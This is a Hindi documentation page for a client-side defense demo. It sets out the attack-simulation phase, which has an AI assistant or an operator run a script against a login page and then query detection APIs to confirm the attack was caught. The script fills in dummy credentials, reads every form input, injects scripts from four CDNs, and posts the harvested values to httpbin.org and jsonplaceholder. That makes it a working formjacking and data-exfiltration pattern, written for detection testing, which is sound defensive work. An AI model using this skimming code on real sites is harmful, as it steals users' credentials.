- होम
- क्लाइंट-साइड डिफेंस
- Demo
- चरण 2 — आक्रमण
चरण 2 — आक्रमण
चरण 2 संरक्षित एप्लिकेशन के विरुद्ध अनुकरणीय आक्रमण ट्रैफ़िक उत्पन्न करता है और पुष्टि करता है कि CSD ने इसे डिटेक्ट किया। आगे बढ़ने से पहले चरण 1 पूर्ण होना चाहिए — सभी स्टेप 7 की जाँचें PASS होनी चाहिए।
स्टेप 8: आक्रमण अनुकरण
Section titled “स्टेप 8: आक्रमण अनुकरण”इन्फ्रास्ट्रक्चर सत्यापित होने के बाद (सभी चरण 1 स्टेप 7 जाँचें PASS), CSD डिटेक्शन उत्पन्न करने के लिए आक्रमण अनुकरण स्क्रिप्ट चलाएँ। स्क्रिप्ट ट्रिगर डिटेक्शन गाइड और आक्रमण स्क्रिप्ट लाइब्रेरी में परिभाषित हैं।
AI-स्वचालित एक्ज़ीक्यूशन
Section titled “AI-स्वचालित एक्ज़ीक्यूशन”ब्राउज़र ऑटोमेशन उपकरण वाले AI असिस्टेंट आक्रमण अनुकरण को प्रोग्रामेटिक रूप से चलाते हैं:
- initScript के साथ नेविगेट करें — पहले
about:blankपर नेविगेट करें ताकि एक साफ़ डॉक्युमेंट संदर्भ सुनिश्चित हो (पिछले नेविगेशन से stale initScript से बचाव), फिरnavigate_pageसेhttp://$F5XC_DOMAINNAME/#/loginपर एकinitScriptके साथ नेविगेट करें जो zone.js के पैच करने से पहले nativesetInterval,clearInterval,fetch, औरconsole.logसहेजता है, लॉगिन फॉर्म फील्ड्स के लिए पोल करता है, nativeHTMLInputElement.prototype.valuesetter के माध्यम से क्रेडेंशियल भरता है, और तुरंत Combined Detection Script को inline निष्पादित करता है। नीचे दिए verbatim initScript का उपयोग करें। - वेलकम बैनर खारिज करें — Welcome Banner बंद करने के लिए
Escapeके साथpress_keyकरें। बाद की विज़िट में बैनर नहीं आ सकता (कुकीज़ persisted हैं)। कुकी सहमति डायलॉग Escape key द्वारा स्वचालित रूप से खारिज हो जाता है। - पूर्णता की प्रतीक्षा करें — सभी CDN स्क्रिप्ट load/error कॉलबैक और fetch promise resolutions पूर्ण होने के लिए 10 सेकंड प्रतीक्षा करें।
- साक्ष्य कैप्चर करें —
[CSD Demo] Simulation completeऔर CDN लोड परिणामों की जाँच के लिएlist_console_messages; HTTP स्टेटस कोड (200/201सफलता के लिए,pendingheld अनुरोधों के लिए) सत्यापित करने के लिएscriptऔरfetchप्रकारों तक फ़िल्टर किए गएlist_network_requests।
चरण 2 initScript (verbatim — बिल्कुल इसी तरह उपयोग करें):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('#email'); var passEl = document.querySelector('#password'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);मैन्युअल एक्ज़ीक्यूशन
Section titled “मैन्युअल एक्ज़ीक्यूशन”ब्राउज़र ऑटोमेशन उपकरण के बिना ऑपरेटर स्टेप्स मैन्युअल रूप से निष्पादित करते हैं:
- नेविगेट करें संरक्षित एप्लिकेशन लॉगिन पेज पर:
http://xF5XC_DOMAINNAMEx/#/login - डमी क्रेडेंशियल दर्ज करें — Email फ़ील्ड में
test@example.comऔर Password फ़ील्ड मेंP@ssword123टाइप करें (फॉर्म सबमिट न करें) - DevTools खोलें — F12 दबाएँ और Console टैब पर स्विच करें
- Combined Detection Script चलाएँ — ट्रिगर डिटेक्शन — Combined Simulation Script चलाएँ से स्क्रिप्ट कंसोल में पेस्ट करें और Enter दबाएँ
- कंसोल आउटपुट सत्यापित करें — पुष्टि करें कि
[CSD Demo]phased आउटपुट दिखाता है: फील्ड हार्वेस्टिंग, 4 CDN डोमेन से स्क्रिप्ट इंजेक्शन, और 2 endpoints पर डेटा exfiltration
क्या ट्रिगर होता है
Section titled “क्या ट्रिगर होता है”| सिग्नल | व्यवहार | डिटेक्शन |
|---|---|---|
| फॉर्म फील्ड हार्वेस्टिंग | email और password इनपुट वैल्यू पढ़ता है | संवेदनशील फॉर्म फील्ड पढ़ने वाली स्क्रिप्ट — High Risk के रूप में फ्लैग |
| स्क्रिप्ट इंजेक्शन | cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io से 4 <script> टैग इंजेक्ट करता है | 4 नए third-party स्क्रिप्ट डोमेन तक डिटेक्ट (CDN उपलब्धता अलग-अलग हो सकती है) |
| डेटा exfiltration | www.httpbin.org और jsonplaceholder.typicode.com को fetch के माध्यम से हार्वेस्ट किया गया डेटा भेजता है | बाहरी डोमेन पर नेटवर्क कॉल |
साक्ष्य
Section titled “साक्ष्य”AI असिस्टेंट को निम्नलिखित रिपोर्ट करना चाहिए। AI-स्वचालित एक्ज़ीक्यूशन के लिए, साक्ष्य list_console_messages के माध्यम से प्रोग्रामेटिक रूप से कैप्चर किया जाता है (initScript का polling फ़ंक्शन परिणाम कंसोल में लॉग करता है)। मैन्युअल एक्ज़ीक्यूशन के लिए, ऑपरेटर ब्राउज़र कंसोल आउटपुट पढ़ता है।
| जाँच | अपेक्षित | स्थिति |
|---|---|---|
| लॉगिन पेज लोड | http://$F5XC_DOMAINNAME/#/login पर 200 OK | PASS / FAIL |
| कंसोल स्क्रिप्ट निष्पादित | कंसोल आउटपुट में [CSD Demo] Simulation complete | PASS / FAIL |
| फील्ड हार्वेस्ट | कंसोल आउटपुट में Count > 0 | PASS |
| स्क्रिप्ट इंजेक्ट | कंसोल आउटपुट में 1–4 CDN डोमेन (कुछ resource errors के साथ विफल हो सकते हैं) | यदि कोई CDN डोमेन दिखाई दे तो PASS |
| Exfil चैनल | कंसोल आउटपुट में 2 fetch POST प्रयास | PASS |
स्टेप 9: API के माध्यम से डिटेक्शन सत्यापन
Section titled “स्टेप 9: API के माध्यम से डिटेक्शन सत्यापन”डिटेक्शन की पुष्टि के लिए CSD API endpoints क्वेरी करें। polling loop का उपयोग करें: हर 60 सेकंड में /detected_domains क्वेरी करें; जैसे ही DET-3 पास हो आगे बढ़ें। यदि 10 मिनट के बाद DET-3 पास नहीं होता, CSD कॉन्फ़िगरेशन जाँचें। यदि 30 मिनट के बाद DET-3 पास नहीं होता, रुकें और ऑपरेटर को रिपोर्ट करें। ये endpoints API संदर्भ में दस्तावेज़ीकृत हैं और पिछले स्टेप्स की तरह ही प्रमाणीकरण और namespace का उपयोग करते हैं।
डिटेक्ट की गई स्क्रिप्ट
Section titled “डिटेक्ट की गई स्क्रिप्ट”पिछले 24 घंटों में डिटेक्ट की गई स्क्रिप्ट के लिए क्वेरी करें:
NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s -X POST \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ -H "Content-Type: application/json" \ -d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \ | jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'| फ़ील्ड | अपेक्षित | स्थिति |
|---|---|---|
total | > 0 (स्क्रिप्ट डिटेक्ट) | यदि > 0 तो PASS; 0 लेकिन /detected_domains exfil डोमेन दिखाए तो PENDING |
| स्क्रिप्ट नाम | script_name में CDN डोमेन (cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) शामिल | यदि इंजेक्ट किए CDN डोमेन दिखाई दें तो PASS |
डिटेक्ट किए गए डोमेन
Section titled “डिटेक्ट किए गए डोमेन”curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \ | jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'| फ़ील्ड | अपेक्षित | स्थिति |
|---|---|---|
total_domains | > 0 | यदि > 0 तो PASS |
| डोमेन सूची | CDN और exfil डोमेन शामिल | यदि अपेक्षित डोमेन दिखाई दें तो PASS |
फॉर्म फील्ड
Section titled “फॉर्म फील्ड”NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \ | jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'| फ़ील्ड | अपेक्षित | स्थिति |
|---|---|---|
total | > 0 | यदि > 0 तो PASS; 0 लेकिन DET-3 पास हो तो PENDING |
name | email, password शामिल | यदि संवेदनशील फील्ड दिखाई दें तो PASS |
sensitivity | email/password फील्ड के लिए Sensitive | यदि ML ने सही वर्गीकरण किया तो PASS |
चरण 2 साक्ष्य सारांश
Section titled “चरण 2 साक्ष्य सारांश”सभी डिटेक्शन क्वेरी के बाद, अंतिम डिटेक्शन स्थिति प्रस्तुत करें:
| Test ID | जाँच | स्थिति |
|---|---|---|
| DET-1 | स्क्रिप्ट डिटेक्ट (/scripts endpoint) | यदि > 0 तो PASS; खाली लेकिन DET-3 पास हो तो PENDING |
| DET-2 | CDN डोमेन डिटेक्ट | PASS / FAIL |
| DET-3 | Exfil डोमेन डिटेक्ट (/detected_domains) | प्राथमिक संकेतक — यदि www.httpbin.org या jsonplaceholder.typicode.com दिखाई दें तो PASS |
| DET-4 | फॉर्म फील्ड डिटेक्ट (/formFields endpoint) | यदि > 0 तो PASS; खाली लेकिन DET-3 पास हो तो PENDING |
चरण 2 पूर्ण। mitigation नियम लागू करने और डोमेन ब्लॉक सत्यापित करने के लिए चरण 3 — Mitigate पर जाएँ।